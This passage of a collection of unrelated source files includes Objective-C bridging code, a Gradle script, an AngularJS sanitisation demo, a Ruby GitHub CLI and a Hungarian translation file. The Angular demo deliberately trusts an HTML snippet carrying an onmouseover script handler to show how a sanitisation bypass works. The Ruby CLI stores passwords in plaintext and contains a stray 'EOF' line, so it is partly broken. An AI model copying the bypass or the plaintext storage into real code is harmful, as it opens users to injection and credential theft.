addObject:error];\n } else {\n [parameters addObject:[NSNull null]];\n }\n \n dispatchFunction(currentSelf, completionFunction, parameters);\n };\n }\n \n [self writeModifiedImageDataToSavedPhotosAlbum:imageData metadata:metadata completionBlock:completionBlock];\n}\n\n- (void)__writeModifiedVideoAtPathToSavedPhotosAlbum:(NSURL *)videoPathURL\n completionBlock:(JSValue *)completionFunction\n{\n JSContext *context = [JSContext currentContext];\n id currentSelf = context[@\"self\"];\n \n ALAssetsLibraryWriteVideoCompletionBlock completionBlock = NULL;\n if (!completionFunction.isUndefined) {\n completionBlock = ^(NSURL *assetURL, NSError *error) {\n NSMutableArray *parameters = [[NSMutableArray alloc] init];\n if (assetURL) {\n [parameters addObject:assetURL];\n } else {\n [parameters addObject:[NSNull null]];\n }\n if (error) {\n [parameters addObject:error];\n } else {\n [parameters addObject:[NSNull null]];\n }\n \n dispatchFunction(currentSelf, completionFunction, parameters);\n };\n }\n \n [self writeModifiedVideoAtPathToSavedPhotosAlbum:videoPathURL completionBlock:completionBlock];\n}\n\n- (void)__setImageData:(NSData *)imageData\n metadata:(NSDictionary *)metadata\n completionBlock:(JSValue *)completionFunction\n{\n JSContext *context = [JSContext currentContext];\n id currentSelf = context[@\"self\"];\n \n ALAssetsLibraryWriteImageCompletionBlock completionBlock = NULL;\n if (!completionFunction.isUndefined) {\n completionBlock = ^(NSURL *assetURL, NSError *error) {\n NSMutableArray *parameters = [[NSMutableArray alloc] init];\n if (assetURL) {\n [parameters addObject:assetURL];\n } else {\n [parameters addObject:[NSNull null]];\n }\n if (error) {\n [parameters addObject:error];\n } else {\n [parameters addObject:[NSNull null]];\n }\n \n dispatchFunction(currentSelf, completionFunction, parameters);\n };\n }\n \n [self setImageData:imageData metadata:metadata completionBlock:completionBlock];\n}\n\n- (void)__setVideoAtPath:(NSURL *)videoPathURL\n completionBlock:(JSValue *)completionFunction\n{\n JSContext *context = [JSContext currentContext];\n id currentSelf = context[@\"self\"];\n \n ALAssetsLibraryWriteVideoCompletionBlock completionBlock = NULL;\n if (!completionFunction.isUndefined) {\n completionBlock = ^(NSURL *assetURL, NSError *error) {\n NSMutableArray *parameters = [[NSMutableArray alloc] init];\n if (assetURL) {\n [parameters addObject:assetURL];\n } else {\n [parameters addObject:[NSNull null]];\n }\n if (error) {\n [parameters addObject:error];\n } else {\n [parameters addObject:[NSNull null]];\n }\n \n dispatchFunction(currentSelf, completionFunction, parameters);\n };\n }\n \n [self setVideoAtPath:videoPathURL completionBlock:completionBlock];\n}\n\n@end\n"} {"text": "#!/usr/bin/env sh\n\n##############################################################################\n##\n## Gradle start up script for UN*X\n##\n##############################################################################\n\n# Attempt to set APP_HOME\n# Resolve links: $0 may be a link\nPRG=\"$0\"\n# Need this for relative symlinks.\nwhile [ -h \"$PRG\" ] ; do\n ls=`ls -ld \"$PRG\"`\n link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n if expr \"$link\" : '/.*' > /dev/null; then\n PRG=\"$link\"\n else\n PRG=`dirname \"$PRG\"`\"/$link\"\n fi\ndone\nSAVED=\"`pwd`\"\ncd \"`dirname \\\"$PRG\\\"`/\" >/dev/null\nAPP_HOME=\"`pwd -P`\"\ncd \"$SAVED\" >/dev/null\n\nAPP_NAME=\"Gradle\"\nAPP_BASE_NAME=`basename \"$0\"`\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS=\"\"\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=\"maximum\"\n\nwarn ( ) {\n echo \"$*\"\n}\n\ndie ( ) {\n echo\n echo \"$*\"\n echo\n exit 1\n}\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\nnonstop=false\ncase \"`uname`\" in\n CYGWIN* )\n cygwin=true\n ;;\n Darwin* )\n darwin=true\n ;;\n MINGW* )\n msys=true\n ;;\n NONSTOP* )\n nonstop=true\n ;;\nesac\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n # IBM's JDK on AIX uses strange locations for the executables\n JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n else\n JAVACMD=\"$JAVA_HOME/bin/java\"\n fi\n if [ ! -x \"$JAVACMD\" ] ; then\n die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n fi\nelse\n JAVACMD=\"java\"\n which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif [ \"$cygwin\" = \"false\" -a \"$darwin\" = \"false\" -a \"$nonstop\" = \"false\" ] ; then\n MAX_FD_LIMIT=`ulimit -H -n`\n if [ $? -eq 0 ] ; then\n if [ \"$MAX_FD\" = \"maximum\" -o \"$MAX_FD\" = \"max\" ] ; then\n MAX_FD=\"$MAX_FD_LIMIT\"\n fi\n ulimit -n $MAX_FD\n if [ $? -ne 0 ] ; then\n warn \"Could not set maximum file descriptor limit: $MAX_FD\"\n fi\n else\n warn \"Could not query maximum file descriptor limit: $MAX_FD_LIMIT\"\n fi\nfi\n\n# For Darwin, add options to specify how the application appears in the dock\nif $darwin; then\n GRADLE_OPTS=\"$GRADLE_OPTS \\\"-Xdock:name=$APP_NAME\\\" \\\"-Xdock:icon=$APP_HOME/media/gradle.icns\\\"\"\nfi\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin ; then\n APP_HOME=`cygpath --path --mixed \"$APP_HOME\"`\n CLASSPATH=`cygpath --path --mixed \"$CLASSPATH\"`\n JAVACMD=`cygpath --unix \"$JAVACMD\"`\n\n # We build the pattern for arguments to be converted via cygpath\n ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`\n SEP=\"\"\n for dir in $ROOTDIRSRAW ; do\n ROOTDIRS=\"$ROOTDIRS$SEP$dir\"\n SEP=\"|\"\n done\n OURCYGPATTERN=\"(^($ROOTDIRS))\"\n # Add a user-defined pattern to the cygpath arguments\n if [ \"$GRADLE_CYGPATTERN\" != \"\" ] ; then\n OURCYGPATTERN=\"$OURCYGPATTERN|($GRADLE_CYGPATTERN)\"\n fi\n # Now convert the arguments - kludge to limit ourselves to /bin/sh\n i=0\n for arg in \"$@\" ; do\n CHECK=`echo \"$arg\"|egrep -c \"$OURCYGPATTERN\" -`\n CHECK2=`echo \"$arg\"|egrep -c \"^-\"` ### Determine if an option\n\n if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition\n eval `echo args$i`=`cygpath --path --ignore --mixed \"$arg\"`\n else\n eval `echo args$i`=\"\\\"$arg\\\"\"\n fi\n i=$((i+1))\n done\n case $i in\n (0) set -- ;;\n (1) set -- \"$args0\" ;;\n (2) set -- \"$args0\" \"$args1\" ;;\n (3) set -- \"$args0\" \"$args1\" \"$args2\" ;;\n (4) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" ;;\n (5) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" ;;\n (6) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" ;;\n (7) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" ;;\n (8) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" ;;\n (9) set -- \"$args0\" \"$args1\" \"$args2\" \"$args3\" \"$args4\" \"$args5\" \"$args6\" \"$args7\" \"$args8\" ;;\n esac\nfi\n\n# Escape application args\nsave ( ) {\n for i do printf %s\\\\n \"$i\" | sed \"s/'/'\\\\\\\\''/g;1s/^/'/;\\$s/\\$/' \\\\\\\\/\" ; done\n echo \" \"\n}\nAPP_ARGS=$(save \"$@\")\n\n# Collect all arguments for the java command, following the shell quoting and substitution rules\neval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \"\\\"-Dorg.gradle.appname=$APP_BASE_NAME\\\"\" -classpath \"\\\"$CLASSPATH\\\"\" org.gradle.wrapper.GradleWrapperMain \"$APP_ARGS\"\n\n# by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong\nif [ \"$(uname)\" = \"Darwin\" ] && [ \"$HOME\" = \"$PWD\" ]; then\n cd \"$(dirname \"$0\")\"\nfi\n\nexec \"$JAVACMD\" \"$@\"\n"} {"text": "<!doctype html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>Example - example-example114</title>\n \n\n <script src=\"../../../angular.min.js\"></script>\n <script src=\"../../../angular-sanitize.js\"></script>\n \n\n \n</head>\n<body ng-app=\"sanitizeExample\">\n <script>\n angular.module('sanitizeExample', ['ngSanitize'])\n .controller('ExampleController', ['$scope', '$sce', function($scope, $sce) {\n $scope.snippet =\n '<p style=\"color:blue\">an html\\n' +\n '<em onmouseover=\"this.textContent=\\'PWN3D!\\'\">click here</em>\\n' +\n 'snippet</p>';\n $scope.deliberatelyTrustDangerousSnippet = function() {\n return $sce.trustAsHtml($scope.snippet);\n };\n }]);\n </script>\n <div ng-controller=\"ExampleController\">\n Snippet: <textarea ng-model=\"snippet\" cols=\"60\" rows=\"3\"></textarea>\n <table>\n <tr>\n <td>Directive</td>\n <td>How</td>\n <td>Source</td>\n <td>Rendered</td>\n </tr>\n <tr id=\"bind-html-with-sanitize\">\n <td>ng-bind-html</td>\n <td>Automatically uses $sanitize</td>\n <td><pre>&lt;div ng-bind-html=\"snippet\"&gt;<br/>&lt;/div&gt;</pre></td>\n <td><div ng-bind-html=\"snippet\"></div></td>\n </tr>\n <tr id=\"bind-html-with-trust\">\n <td>ng-bind-html</td>\n <td>Bypass $sanitize by explicitly trusting the dangerous value</td>\n <td>\n <pre>&lt;div ng-bind-html=\"deliberatelyTrustDangerousSnippet()\"&gt;\n&lt;/div&gt;</pre>\n </td>\n <td><div ng-bind-html=\"deliberatelyTrustDangerousSnippet()\"></div></td>\n </tr>\n <tr id=\"bind-default\">\n <td>ng-bind</td>\n <td>Automatically escapes</td>\n <td><pre>&lt;div ng-bind=\"snippet\"&gt;<br/>&lt;/div&gt;</pre></td>\n <td><div ng-bind=\"snippet\"></div></td>\n </tr>\n </table>\n </div>\n</body>\n</html>"} {"text": "require('../../modules/es7.reflect.define-metadata');\nmodule.exports = require('../../modules/_core').Reflect.defineMetadata;"} {"text": "# frozen_string_literal: true\n\nrequire 'tty-editor'\n\nrequire_relative 'vendor'\n\nmodule GithubCLI\n # Main command line interface\n class CLI < Thor\n def initialize(*args)\n super\n prompt = TTY::Prompt.new(enabled_color: !options[\"no-color\"])\n GithubCLI.ui = UI.new(prompt)\n GithubCLI.ui.debug! if options[\"verbose\"]\n #options[\"no-pager\"] ? Pager.disable : Pager.enable\n end\n\n ALIASES = {\n 'repository' => 'repo',\n 'reference' => 'ref',\n 'is' => :issue,\n '--version' => 'version',\n '-V' => 'version',\n 'ls' => 'list'\n }\n\n map ALIASES\n\n class_option :filename, :type => :string,\n :desc => \"Configuration file name.\", :banner => \"<filename>\",\n :default => \".gcliconfig\"\n class_option :token, :type => :string,\n :desc => 'Authentication token.',\n :banner => '<oauth token>'\n class_option :login, :type => :string\n class_option :password, :type => :string\n class_option \"no-color\", :type => :boolean,\n :desc => \"Disable colorization in output.\"\n class_option \"no-pager\", :type => :boolean,\n :desc => \"Disable pagination of the output.\"\n class_option :pager, :type => :string, :aliases => '-p',\n :desc => \"Command to be used for paging.\",\n :banner => \"less|more|...\"\n class_option :quiet, :type => :boolean, :aliases => \"-q\",\n :desc => \"Suppress response output\"\n class_option :verbose, :type => :boolean,\n :desc => \"Enable verbose output mode.\"\n class_option :version, :type => :boolean, :aliases => ['-V'],\n :desc => \"Show program version\"\n\n option :local, :type => :boolean, :default => false, :aliases => \"-l\",\n :desc => 'Modify local configuration file, otherwise a global configuration file is changed.'\n option :scopes, :type => :array, :banner => \"user public_repo repo...\",\n :desc => \"A list of scopes that this authorization is in.\"\n option :note, :type => :string,\n :desc => \"A note to remind you what the OAuth token is for.\"\n option :note_url, :type => :string,\n :desc => \"A URL to remind you what the OAuth token is for.\"\n desc 'authorize', 'Add user authentication token'\n long_desc <<-DESC\n Create authorization token for a user named <username> Save user credentials to the .githubrc file.\\n\n\n The username, password, and email are read in from prompts.\n\n You may use this command to change your details.\n DESC\n def authorize\n global_options = options.dup\n params = {}\n params['scopes'] = options[:scopes] || %w(public_repo repo)\n params['note'] = options[:note] || 'github_cli'\n params['note_url'] = options[:note_url] || 'https://github.com/peter-murach/github_cli'\n global_options[:params] = params\n # Need to configure client with login and password\n login = GithubCLI.ui.ask(\"login:\").strip!\n password = GithubCLI.ui.mask(\"password:\").strip!\n\n global_options['login'] = login\n global_options['password'] = password\n global_options['quiet'] = options[:quiet]\n\n res = self.invoke(\"auth:create\", [], global_options)\n token = res.body['token']\n\n config = GithubCLI.new_config\n path = options[:local] ? Dir.pwd : Dir.home\n fullpath = ::File.join(path, \"#{config.filename}\")\n config.append_path(path)\n\n config.set('user.login', value: login)\n config.set('user.password', value: password)\n config.set('user.token', value: token)\n\n config.write(::File.join(path, config_filename),\n force: options[:force], format: 'yml')\n\n GithubCLI.ui.warn(\"\\nYour #{fullpath} configuration file has been overwritten!\")\n EOF\n end\n\n desc 'whoami', 'Print the username config to standard out'\n def whoami\n config = GithubCLI.config\n who = config.fetch('user.login') || \"Not authed. Run 'gcli authorize'\"\n GithubCLI.ui.info(who)\n end\n\n option :force, :type => :boolean, :default => false, :aliases => \"-f\",\n :banner => \"Overwrite configuration file. \"\n option :local, :type => :boolean, :default => false, :aliases => \"-l\",\n :desc => 'Create local configuration file, otherwise a global configuration file in user home is created.'\n desc 'init', 'Create a configuration file or overwirte existing one'\n long_desc <<-DESC\n Initializes a configuration file where you can set default options for\n interacting with GitHub API.\\n\n\n Both global and per-command options can be specified. These defaults\n override the bult-in defaults and allow you to save typing commonly used\n command line options.\n DESC\n def init(filename = nil)\n config_filename = filename ? filename : options[:filename]\n config = GithubCLI.new_config\n config.filename = config_filename\n\n path = options[:local] ? Dir.pwd : Dir.home\n fullpath = ::File.join(path, \"#{config.filename}\")\n config.append_path(path)\n\n if File.exists?(fullpath) && !options[:force]\n GithubCLI.ui.error(\"Not overwritting existing config file #{fullpath}, use --force to override.\")\n exit 1\n end\n\n config.write(::File.join(path, config.filename),\n force: options[:force], format: 'yml')\n\n GithubCLI.ui.confirm(\"Writing new configuration file to #{fullpath}\")\n end\n\n option :list, :type => :boolean, :default => false, :aliases => '-l',\n :desc => 'list all'\n option :edit, :type => :boolean, :default => false, :aliases => '-e',\n :desc => 'opens an editor'\n desc 'config', 'Get and set GitHub configuration options'\n long_desc <<-DESC\n You can query/set options with this command. The name is actually a hash key\n string that is a composite one, nested with dots. If only name is provided, a\n value will be retrieved. If two parameters are given then value will be set\n or updated depending whether it already exists or not.\\n\n\n There two types of config files, global and project specific. When modifying\n options ensure that you modifying the correct config.\n DESC\n def config(*args)\n name, value = args.shift, args.shift\n config = GithubCLI.config\n\n if !config.exist?\n GithubCLI.ui.error(\"Configuration file does not exist. Please use `#{GithubCLI.executable_name} init` to create one.\")\n exit 1\n end\n\n if options[:list]\n Terminal.print_config(config) && return\n elsif options[:edit]\n TTY::Editor.open(config.find_file) && return\n end\n\n if !name\n Terminal.print_config(config) && return\n end\n\n if !value\n GithubCLI.ui.info(config.fetch(name))\n else\n GithubCLI.ui.info(config.set(name, value: value))\n config.write(force: true, format: 'yml')\n end\n end\n\n desc 'list', 'List all available commands limited by pattern'\n def list(pattern=\"\")\n pattern = /^#{pattern}.*$/i\n Terminal.print_commands pattern\n end\n\n desc 'version', 'Display Github CLI version.'\n def version\n GithubCLI.ui.info(\"#{GithubCLI.program_name} #{GithubCLI::VERSION}\")\n end\n\n require_relative 'commands/assignees'\n desc \"assignee\", \"Leverage Assignees API\"\n subcommand \"assignee\", GithubCLI::Commands::Assignees\n\n require_relative 'commands/authorizations'\n desc \"auth\", \"Leverage Authorizations API\"\n subcommand \"auth\", GithubCLI::Commands::Authorizations\n\n require_relative 'commands/blobs'\n desc \"blob\", \"Leverage Blobs API\"\n subcommand \"blob\", GithubCLI::Commands::Blobs\n\n require_relative 'commands/collaborators'\n desc \"collab\", \"Leverage Collaborators API\"\n subcommand \"collab\", GithubCLI::Commands::Collaborators\n\n require_relative 'commands/commits'\n desc \"commit\", \"Leverage Commits API\"\n subcommand \"commit\", GithubCLI::Commands::Commits\n\n require_relative 'commands/contents'\n desc \"content\", \"Leverage Contents API\"\n subcommand \"content\", GithubCLI::Commands::Contents\n\n require_relative 'commands/downloads'\n desc \"download\", \"Leverage Downloads API\"\n subcommand \"download\", GithubCLI::Commands::Downloads\n\n require_relative 'commands/emails'\n desc \"email\", \"Leverage Emails API\"\n subcommand \"email\", GithubCLI::Commands::Emails\n\n require_relative 'commands/events'\n desc \"event\", \"Leverage Events API\"\n subcommand \"event\", GithubCLI::Commands::Events\n\n require_relative 'commands/followers'\n desc \"follower\", \"Leverage Followers API\"\n subcommand \"follower\", GithubCLI::Commands::Followers\n\n require_relative 'commands/forks'\n desc \"fork\", \"Leverage Forks API\"\n subcommand \"fork\", GithubCLI::Commands::Forks\n\n require_relative 'commands/gists'\n desc \"gist\", \"Leverage Gists API\"\n subcommand \"gist\", GithubCLI::Commands::Gists\n\n require_relative 'commands/hooks'\n desc \"hook\", \"Leverage Hooks API\"\n subcommand \"hook\", GithubCLI::Commands::Hooks\n\n require_relative 'commands/issues'\n desc \"issue\", \"Leverage Issues API\"\n subcommand \"issue\", GithubCLI::Commands::Issues\n\n require_relative 'commands/keys'\n desc \"key\", \"Leverage Keys API\"\n subcommand \"key\", GithubCLI::Commands::Keys\n\n require_relative 'commands/labels'\n desc \"label\", \"Leverage Labels API\"\n subcommand \"label\", GithubCLI::Commands::Labels\n\n require_relative 'commands/members'\n desc \"member\", \"Leverage Members API\"\n subcommand \"member\", GithubCLI::Commands::Members\n\n require_relative 'commands/merging'\n desc \"merge\", \"Leverage Merging API\"\n subcommand \"merge\", GithubCLI::Commands::Merging\n\n require_relative 'commands/milestones'\n desc \"milestone\", \"Leverage Milestones API\"\n subcommand \"milestone\", GithubCLI::Commands::Milestones\n\n require_relative 'commands/notifications'\n desc \"notify\", \"Leverage Notifications API\"\n subcommand \"notify\", GithubCLI::Commands::Notifications\n\n require_relative 'commands/organizations'\n desc \"org\", \"Leverage Organizations API\"\n subcommand \"org\", GithubCLI::Commands::Organizations\n\n require_relative 'commands/pull_requests'\n desc \"pull\", \"Leverage Pull Requests API\"\n subcommand \"pull\", GithubCLI::Commands::PullRequests\n\n require_relative 'commands/references'\n desc \"ref\", \"Leverage References API\"\n subcommand \"ref\", GithubCLI::Commands::References\n\n require_relative 'commands/releases'\n desc \"release\", \"Leverage Releases API\"\n subcommand \"release\", GithubCLI::Commands::Releases\n\n require_relative 'commands/repositories'\n desc \"repo\", \"Leverage Repositories API\"\n subcommand \"repo\", GithubCLI::Commands::Repositories\n\n require_relative 'commands/search'\n desc \"search\", \"Leverage Search API\"\n subcommand \"search\", GithubCLI::Commands::Search\n\n require_relative 'commands/starring'\n desc \"star\", \"Leverage Starring API\"\n subcommand \"star\", GithubCLI::Commands::Starring\n\n require_relative 'commands/statistics'\n desc \"stat\", \"Leverage Statistics API\"\n subcommand \"stat\", GithubCLI::Commands::Statistics\n\n require_relative 'commands/statuses'\n desc \"status\", \"Leverage Statuses API\"\n subcommand \"status\", GithubCLI::Commands::Statuses\n\n require_relative 'commands/tags'\n desc \"tag\", \"Leverage Tags API\"\n subcommand \"tag\", GithubCLI::Commands::Tags\n\n require_relative 'commands/teams'\n desc \"team\", \"Leverage Teams API\"\n subcommand \"team\", GithubCLI::Commands::Teams\n\n require_relative 'commands/trees'\n desc \"tree\", \"Leverage Trees API\"\n subcommand \"tree\", GithubCLI::Commands::Trees\n\n require_relative 'commands/users'\n desc \"user\", \"Leverage Users API\"\n subcommand \"user\", GithubCLI::Commands::Users\n\n require_relative 'commands/watching'\n desc \"watch\", \"Leverage Watching API\"\n subcommand \"watch\", GithubCLI::Commands::Watching\n end # CLI\nend # GithubCLI\n"} {"text": "'''\nCopyright (c) 2013 Qin Xuye <qin@qinxuye.me>\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nCreated on 2013-5-21\n\n@author: Chine\n'''\nimport unittest\nimport pickle\n\nfrom cola.core.config import PropertyObject, main_conf\n\nclass Test(unittest.TestCase):\n\n\n def setUp(self):\n self.obj = PropertyObject({\n 'name': 'cola',\n 'list': [\n { 'count': 1 },\n { 'count': 2 },\n ]\n })\n\n\n def testPropertyObject(self):\n assert 'name' in self.obj\n assert self.obj['name'] == 'cola'\n assert self.obj.name == 'cola'\n assert isinstance(self.obj.list, list)\n assert self.obj.list[0].count == 1\n \n self.obj.update(**{'list': [{'count': 3}, ]})\n assert self.obj.name == 'cola'\n assert self.obj.list[2].count == 3\n \n def testPickle(self):\n c = pickle.dumps(main_conf)\n new_conf = pickle.loads(c)\n self.assertEqual(new_conf.master.port, 11103)\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()"} {"text": "# Hungarian translation for unity-tweak-tool\n# Copyright (c) 2013 Rosetta Contributors and Canonical Ltd 2013\n# This file is distributed under the same license as the unity-tweak-tool package.\n# FIRST AUTHOR <EMAIL@ADDRESS>, 2013.\n#\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: unity-tweak-tool\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-03-24 18:26-0700\\n\"\n\"PO-Revision-Date: 2015-02-15 20:06+0000\\n\"\n\"Last-Translator: Richard Somlói <ricsipontaz@gmail.com>\\n\"\n\"Language-Team: Hungarian <hu@li.org>\\n\"\n\"Language: hu\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Launchpad-Export-Date: 2015-02-16 06:33+0000\\n\"\n\"X-Generator: Launchpad (build 17341)\\n\"\n\n#: ../data/about.ui:12\nmsgid \"Copyright © 2013 Freyja Development team\"\nmsgstr \"Copyright © 2013 Freyja fejlesztőcsapat\"\n\n#: ../data/about.ui:13\nmsgid \"\"\n\"Unity Tweak Tool is a settings manager intended to be used with Ubuntu Unity.\"\nmsgstr \"\"\n\"A Unity Tweak Tool egy, az Ubuntu Unity beállítását megkönnyítő \"\n\"segédalkalmazás.\"\n\n#: ../data/about.ui:15\nmsgid \"Unity Tweak Tool on Launchpad\"\nmsgstr \"Unity Tweak Tool a Launchpad-on\"\n\n#: ../data/about.ui:16\nmsgid \"GPL3\"\nmsgstr \"GPL3\"\n\n#: ../data/appearance.ui:32 ../data/appearance.ui:198\n#: ../data/appearance.ui:299\nmsgid \"Available themes\"\nmsgstr \"Elérhető témák\"\n\n#: ../data/appearance.ui:67 ../data/appearance.ui:68\nmsgid \"List of GTK Themes\"\nmsgstr \"GTK témák\"\n\n#: ../data/appearance.ui:80\nmsgid \"GTK Theme\"\nmsgstr \"GTK téma\"\n\n#: ../data/appearance.ui:112 ../data/appearance.ui:113\nmsgid \"List of Window decoration themes\"\nmsgstr \"Ablakdekorációs témák listája\"\n\n#: ../data/appearance.ui:123\nmsgid \"Window decoration theme\"\nmsgstr \"Ablakdekorációs téma\"\n\n#: ../data/appearance.ui:154 ../data/appearance.ui:251\n#: ../data/appearance.ui:386 ../data/appearance.ui:765 ../data/system.ui:259\n#: ../data/system.ui:406 ../data/system.ui:657 ../data/unity.ui:814\n#: ../data/unity.ui:1135 ../data/unity.ui:1805 ../data/unity.ui:2105\n#: ../data/unity.ui:2269 ../data/unity.ui:2507 ../data/windowmanager.ui:573\n#: ../data/windowmanager.ui:833 ../data/windowmanager.ui:1091\n#: ../data/windowmanager.ui:1469 ../data/windowmanager.ui:1793\n#: ../data/windowmanager.ui:2207\nmsgid \"Restore defaults\"\nmsgstr \"Az alapértelmezések visszaállítása\"\n\n#: ../data/appearance.ui:158 ../data/appearance.ui:159\nmsgid \"Restore system's default theme configurations\"\nmsgstr \"A rendszer alapértelmezett témabeállításainak visszaállítása\"\n\n#: ../data/appearance.ui:179 ../data/overview.ui:850 ../data/unitytweak.ui:215\nmsgid \"Theme\"\nmsgstr \"Téma\"\n\n#: ../data/appearance.ui:220 ../data/appearance.ui:221\nmsgid \"List of icon themes\"\nmsgstr \"Ikontémák\"\n\n#: ../data/appearance.ui:231\nmsgid \"Icon theme\"\nmsgstr \"Ikontéma\"\n\n#: ../data/appearance.ui:255 ../data/appearance.ui:256\nmsgid \"Restore system's default icon theme configurations\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:279 ../data/overview.ui:901 ../data/unitytweak.ui:224\n#: ../data/unity.ui:621\nmsgid \"Icons\"\nmsgstr \"Ikonok\"\n\n#: ../data/appearance.ui:321 ../data/appearance.ui:322\nmsgid \"List of cursor themes\"\nmsgstr \"Kurzortémák listája\"\n\n#: ../data/appearance.ui:330\nmsgid \"Cursor Theme\"\nmsgstr \"Kurzortéma\"\n\n#: ../data/appearance.ui:354\nmsgid \"Preferences\"\nmsgstr \"Beállítások\"\n\n#: ../data/appearance.ui:367\nmsgid \"Use large cursors\"\nmsgstr \"Nagy kurzorok használata\"\n\n#: ../data/appearance.ui:371 ../data/appearance.ui:372\nmsgid \"If enabled, the system will use a larger cursor.\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:390 ../data/appearance.ui:391\nmsgid \"Restore system's default cursor theme configurations\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:414 ../data/unitytweak.ui:233\nmsgid \"Cursor\"\nmsgstr \"Kurzor\"\n\n#: ../data/appearance.ui:434 ../data/overview.ui:474 ../data/unitytweak.ui:146\n#: ../data/unity.ui:857 ../data/unity.ui:1183 ../data/unity.ui:1852\n#: ../data/unity.ui:2150 ../data/windowmanager.ui:597\n#: ../data/windowmanager.ui:616 ../data/windowmanager.ui:881\n#: ../data/windowmanager.ui:1138 ../data/windowmanager.ui:1514\nmsgid \"General\"\nmsgstr \"Általános\"\n\n#: ../data/appearance.ui:456 ../data/appearance.ui:457\n#: ../data/appearance.ui:491 ../data/appearance.ui:492\nmsgid \"Select the default font for all applications.\"\nmsgstr \"Az alkalmazások alapértelmezett betűtípusának kiválasztása.\"\n\n#: ../data/appearance.ui:459\nmsgid \"Default font:\"\nmsgstr \"Alap betűtípus:\"\n\n#: ../data/appearance.ui:474 ../data/appearance.ui:475\n#: ../data/appearance.ui:511 ../data/appearance.ui:512\nmsgid \"Select the default font used for reading documents.\"\nmsgstr \"A dokumentumok alapértelmezett betűtípusának kiválasztása.\"\n\n#: ../data/appearance.ui:477\nmsgid \"Document font:\"\nmsgstr \"Dokumentum betűtípusa:\"\n\n#: ../data/appearance.ui:530 ../data/appearance.ui:531\n#: ../data/appearance.ui:565 ../data/appearance.ui:566\nmsgid \"Select the default monospace font.\"\nmsgstr \"Az alapértelmezett monospace betűtípus kiválasztása.\"\n\n#: ../data/appearance.ui:533\nmsgid \"Monospace font:\"\nmsgstr \"Monospace betűtípus:\"\n\n#: ../data/appearance.ui:548 ../data/appearance.ui:549\n#: ../data/appearance.ui:585 ../data/appearance.ui:586\nmsgid \"Select the default font for the window titlebar.\"\nmsgstr \"Az alapértelmezett ablakcím betűtípus kiválasztása.\"\n\n#: ../data/appearance.ui:551\nmsgid \"Window title font:\"\nmsgstr \"Ablakcím betűtípusa:\"\n\n#: ../data/appearance.ui:613 ../data/overview.ui:793 ../data/unitytweak.ui:202\n#: ../data/unity.ui:364\nmsgid \"Appearance\"\nmsgstr \"Megjelenés\"\n\n#: ../data/appearance.ui:636 ../data/appearance.ui:637\n#: ../data/appearance.ui:654 ../data/appearance.ui:655\nmsgid \"Select the type of antialiasing used to render fonts.\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:640\nmsgid \"Antialiasing:\"\nmsgstr \"Élsimítás:\"\n\n#: ../data/appearance.ui:659 ../data/appearance.ui:681\nmsgid \"None\"\nmsgstr \"Nincs\"\n\n#: ../data/appearance.ui:660\nmsgid \"Grayscale\"\nmsgstr \"Szürkeárnyalatos\"\n\n#: ../data/appearance.ui:661\nmsgid \"RGBA\"\nmsgstr \"RGBA\"\n\n#: ../data/appearance.ui:676 ../data/appearance.ui:677\n#: ../data/appearance.ui:700 ../data/appearance.ui:701\nmsgid \"Select the type of hinting to use when rendering fonts\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:682\nmsgid \"Slight\"\nmsgstr \"Enyhe\"\n\n#: ../data/appearance.ui:683\nmsgid \"Medium\"\nmsgstr \"Közepes\"\n\n#: ../data/appearance.ui:684\nmsgid \"Full\"\nmsgstr \"Teljes\"\n\n#: ../data/appearance.ui:703\nmsgid \"Hinting:\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:718 ../data/appearance.ui:719\n#: ../data/appearance.ui:735 ../data/appearance.ui:736\nmsgid \"\"\n\"Select the factor used to enlarge or 